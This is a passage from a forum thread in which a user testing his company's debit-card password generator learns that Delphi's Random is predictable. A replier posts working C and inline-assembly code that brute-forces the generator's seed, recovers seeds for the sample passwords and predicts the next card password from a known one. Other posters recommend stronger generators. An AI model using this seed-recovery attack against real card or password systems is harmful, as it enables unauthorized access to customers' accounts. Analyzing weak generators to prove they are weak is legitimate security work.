Page 1 of 2 12 LastLast
Results 1 to 15 of 23

Thread: Random Number Analysis

  1. #1
    akimp3
    Guest

    Random Number Analysis

    Hi
    My company works on a debit card project.
    They have generated 10000 test passwords and
    my boss have asked me to test if the numbers are really random.
    The passwords are composed of 14 numbers and each number(0-9)is generated by the random function of delphi, so for generating one password.
    The random function is called 14 times subsequently for each password. They have given me 100 passwords to do the test. I have seen (by eye) that some numbers like 8 and 7 are present in all the passwords exept 12 passwords.
    So I wish to find a way to test that, these passwords are really assigned randomly. How can I generate by a statistical analysis, 10000 passwords that contain, some of the passwords that they have generated. Could you please advise me on how to do this?
    Is there any program to do this? Or I have to write one myself? Is there any documents, explaining technics for this type of analysys?
    Some documents or links or tutorials are very appreciated.
    Thanks in advance
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  2. #2
    Quick question for you on your password generation method...

    Did you reseed the RNG before each digit was produced in the password? If not, that greatly reduces the effectiveness. For C++ at least, and I assume Delphi, Pascal, and most other languages... the built-in RNG is quite weak. Generally it only takes a 32-bit seed that can easily be brute-forced. Once you have the seed figured out, then you can run the RNG however many times you need to get all the digits you used in the password (provided you didn't reseed it between digits). Not a very random result, as you can see. I would advise using a better RNG like the FIPS standard.

    As for your analysis problem, are you trying to analyze the randomness of the passwords you were given? Or are you trying to produce more passwords using the given set? It's a bit confusing from what you posted. I'm not up on my stats, so I don't really know what techniques there are. I'd just look at digit frequencies in relation to position and other things like that.

    Hope that helps!
    Kythen

  3. #3
    הבּרוּ נשׂאי כּלי יהוה mike's Avatar
    Join Date
    Mar 2001
    Posts
    491

    entropy

    Actually, it's probably only 31 bits. Given one 14-digit password, you have 14*log_2 10 = 46 bits. With 10 or eleven digits (=33 to 36 bits) you can find the seed and predict *all* the other passwords, like Kythen said. See the WinZip thread for a similar situation using C's rand() function. I think the two random number generators are identical.

  4. #4
    foxthree
    Guest

    Yarrow....

    Hi:

    Why don't you use really "strong" PRNG implementations like Yarrow. From what I see, it is pretty straightforward to use in C++ and you can avoid the "seeding" attack as Mike mentions very easily.

    Signed,
    -- FoxThree
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  5. #5
    CryptGenRandom() from MS Crypto API may also work.
    :DWARNING: Shareware authors are reading your detailed discussions without paying you!:D

  6. #6
    akimp3
    Guest

    help me please!

    Hi
    thanks for your help as kythen and mike said ,i want to be able
    to genereate all(near all) the password from the 100 password that i have.I am not the person who have to chose the random algo,
    i know better way likr RSA,.... but somoene else has chosed this
    way i have to prove to my boss that this algo is weak and the number could be generated by someone else.
    Mike a Kythen could you please give me more details on how i have to brute force the seed?
    I have to be able to cra*k this random generation algo .
    thanks in advance
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  7. #7
    akimp3
    Guest

    here are the 100 password that i have

    Hi
    I have tried the attack described in the Zip thread(with some modifications like j=14,...)but it did'nt find the cipher.I have attached the 100 password that I have to this message please take a look and guide me.
    thank you very much.
    i am waiting for your help
    Attached Files Attached Files
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  8. #8
    הבּרוּ נשׂאי כּלי יהוה mike's Avatar
    Join Date
    Mar 2001
    Posts
    491

    just to make sure

    I'll help if you'll answer some questions.

    1. What was the exact delphi code that generated the numbers? There are a bunch of different random functions in delphi. (Once I get the brute forcer working you can use it on any set of passwords, BTW.) The TLCG is: seed = 0x8088405*seed+1

    2. Are these the first four passwords? They all run together in the file.

    630 112 7612 8278
    831 208 1648 1787
    472 682 3216 7536
    814 370 7032 2202

  9. #9
    akimp3
    Guest

    answers for your questions

    Hi
    thank you very much for your help.
    the 4 passwords are not the firsts.
    They have generated a sets of 10000 password and give
    me 100 subsequent password from the middle.
    I have not seen the code that generate the numbers,because
    i have to act like a hac*er that did'nt know anything about
    the code generation. But i know(social engenering)that she
    has used the random function and that she had called it 14
    times for each passwords.If you need anymore info please tell
    me and i will try to gather them.
    thanks
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  10. #10
    Snatch
    Guest
    Ever hear of LCG? Linear Congruent Generator...seek and ye shall find. There is a lot of information about them out there but not too much useful. I learned after a lot of research how to reverse the random number generator. So if you have a LCG such as seed = a*seed+b you can choose other values of a and b such that the series goes in the exact opposite order. Dont ask me why I needed to do this it was for a game called Worms2 but thats a seperate story . Just research LCGs there is a lot of higher math involved but if you can brute force a seed(4 billion possibilities shouldnt be too hard) that fits the 100 numbers you have well then there you have it.

    Snatch
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  11. #11
    Dimedrol
    Guest
    Hi

    >But i know(social engenering)that she has used the
    >random function and that she had called it 14
    >times for each passwords

    The key word here is "she"

    I've tried several approaches to get numbers from your post using Delphi's RandInt(10) function.
    But finally I found what there is no single "9" digit in 100 14-th chars numbers.
    So RandInt(9) has solved the problem

    /////////////////////////////////////////////////////////////
    #include <ostream.h>
    #include <memory.h>

    unsigned long seed = 1;

    void srand(unsigned long newseed)
    {
    seed = newseed;
    }

    int rand(void) // the same as RandInt(9) in Delphi ( should have probably been 10 !
    {
    _asm
    {
    mov eax, 9
    imul edx, seed, 0x8088405
    inc edx
    mov seed, edx
    mul edx
    mov eax, edx
    }
    }

    int main(int argc, char* argv[])
    {
    for(unsigned long a = 2; a < 0xFFFFFFFF; a++)
    {
    if( rand() == 6 )
    if( rand() == 3 )
    if( rand() == 0 )
    if( rand() == 1 )
    if( rand() == 1 )
    if( rand() == 2 )
    if( rand() == 7 )
    if( rand() == 6 )
    if( rand() == 1 )
    if( rand() == 2 )
    if( rand() == 8 )
    if( rand() == 2 )
    if( rand() == 7 )
    if( rand() == 8 )
    {
    cout << "Seed: " << a - 1 << endl;
    }
    srand(a);
    }
    cout << "finished" << endl;
    return 0;
    }
    /////////////////////////////////////////////////////////////

    For the first 6 numbers from your list I got:

    630 112 7612 8278 seed = 66918095 (3FD16CF) - looks like Delphi's time
    831 208 1648 1787 seed = 66918195
    472 682 3216 7536 seed = 66918245
    814 370 7032 2202 seed = 66918325
    807 474 0308 0117 seed = 66918355
    457 077 2866 6866 seed = 66918405

    so original code probably is:
    for( i = 0; i < 10000; i++ )
    {
    Randomize()
    for(j = 0; j < 14; j++)
    {
    cout << RandInt(9);
    }
    cout << endl;
    }

    There are very good chances to reconstruct the whole sequence of numbers.

    Regards, Dimedrol.
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  12. #12
    akimp3
    Guest

    i have some question

    Hi
    first I want to thanks everyone that is helping me on this
    problem.
    1)
    I want to know how did you figured out that the TLGC is
    TLCG is: seed = 0x8088405*seed+1 ?
    2)
    how did you figured out that she has changed the seed after
    each 14 number and not after each number?
    3)
    Is it possible to fint more than one seed for a sequence of
    numbers?
    4)
    now that we know the seed has changed for each password
    how should we know the value of the seed for the others
    passwords?
    5)
    is there anyway to find the other passwords or a percent of
    them?
    6)
    why did you rewrite the random function in asm,could'nt you
    use the random function of C instead?
    I will be very happy if you answer this questions
    I have learned a lot about this but these question are
    still emberassing me.
    thanks in advance

    akimp3
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  13. #13
    Dimedrol
    Guest
    Hi akimp3

    >1) I want to know how did you figured out that the TLGC is TLCG is: seed = 0x8088405*seed+1 ?

    You told Delphi was used. This is a Delphi's random function.

    >2) how did you figured out that she has changed the seed after
    each 14 number and not after each number?

    Just tried the simplest way. It worked.

    >3) Is it possible to fint more than one seed for a sequence of
    numbers?

    Theoretically this is possible. But in practice I did not get any collisions.

    >4) now that we know the seed has changed for each password
    how should we know the value of the seed for the others
    passwords?
    >5) is there anyway to find the other passwords or a percent of
    them?

    After several experiments one can see what sequential seeds deffers from each other by at least 10 and at most 100

    Let's say we've found the seed for

    106 220 7344 7877 ( from your list of passwords )
    seed = 66920498

    Remember what the next password is
    088 324 1611 5783

    Using rand() and srand() functions from that C sources we can generate a sequence of passwords for

    66920498 + 10 < seed < 66920498 + 100

    /////////////////////////////////////////
    for(unsigned long k = 66920498 + 10; k < 66920498 + 100; k++)
    {
    srand(k);
    for(int l = 0; l < 14; l++)
    {
    cout << rand();
    }
    cout << " seed = " << k << endl;
    }
    /////////////////////////////////////////

    We'll get
    43182424006850 seed =66920508
    .....
    08832416115783 seed =66920528 Gotcha! 21 - th variant is right

    Actually it's possible to optimize this algo even more.
    Don't know why but the differences between sequential seeds are divisible by 10;

    Let's try to use this:
    Password = 837 767 6775 4118
    seed = 66921289

    /////////////////////////////////////////
    for(unsigned long k = 66921289+ 10; k < 66921289 + 100; k+=10)
    {
    srand(k);
    for(int l = 0; l < 14; l++)
    {
    cout << rand();
    }
    cout << " seed = " << k << endl;
    }
    /////////////////////////////////////////

    25256318313171 seed =66921299
    58626750762053 seed =66921309
    82086201322024 seed =66921319 !! 3-d variant is right

    So it's possible to say what if one knows 1 password - he can find the next sequental password in at most 10 hops with a very good probability.

    > 6) why did you rewrite the random function in asm,could'nt you
    use the random function of C instead?

    It's a disassembled and a bit modified RandInt function of Delphi.
    It's in asm just to speed up the process of finding seeds.

    Hope I answered all your questions.

    Regards, Dimedrol.
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  14. #14
    akimp3
    Guest

    other questions

    HI
    Dimedrol thank you very much for answering my questions.
    I was trying two find a relation between the sedds and I found
    that: the differences between sequential seeds are
    not ALWAYS divisible by 10.
    630 112 7612 8278 66918095
    831 208 1648 1787 66918195
    472 682 3216 7536 66918245
    814 370 7032 2202 66918325
    807 474 0308 0117 66918355
    457 077 2866 6866 66918405
    664 766 8370 3744 66918445
    657 861 2536 1650 66918475
    540 054 4803 8565 66918505
    532 158 7250 6371 66918535
    758 857 5673 4258 66918575
    641 042 7030 2164 66918605
    633 145 1386 0070 66918635
    610 376 2750 1467 66918635
    826 175 0272 8245 66918706

    As you see the difference between 66918706 and 66918635 is
    71 that is not divisble by 10.With this do you think that
    it is a good idea to use the optimized program you wrote or not?
    s you know in later passwords there is many that follow your rules(divisibale by 10).

    my second question is :
    what is a Blum-Blum-Shub generator?
    as you know i am a newbie in crypto world and all i do
    in this board is learning a lot from experienst crypto guys.
    could you please tell me more about Blum-Blum-Shub generator.
    to what kind of problem it is applicable?,...

    I want to say thanks to all of you especially Dimedrol and Mike
    who teach me a lot of hings.

    akimp3
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  15. #15
    הבּרוּ נשׂאי כּלי יהוה mike's Avatar
    Join Date
    Mar 2001
    Posts
    491

    BBS

    BBS is a random number generator based on the same problem as RSA, namely factoring. Predicting the output will be as hard as breaking RSA.

    There are a lot of pitfalls in using crypto however! I broke a system that used DES encryption because of improper key management. I was able to write a program that recovered the password faster than you can blink.

    What exactly are you trying to accomplish?

Similar Threads

  1. The Legend Of Random
    By wolfswar in forum The Newbie Forum
    Replies: 4
    Last Post: January 26th, 2014, 15:26
  2. serial bassed on Volume Serial Number
    By thalid in forum The Newbie Forum
    Replies: 7
    Last Post: September 30th, 2009, 10:10
  3. Random Data
    By Maze in forum Advanced Reversing and Programming
    Replies: 5
    Last Post: April 25th, 2009, 09:35
  4. Random Freezing
    By naides in forum Off Topic
    Replies: 2
    Last Post: December 6th, 2008, 04:48
  5. Q:Number analysis...
    By mambox in forum RCE Cryptographics
    Replies: 12
    Last Post: March 20th, 2005, 11:29

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •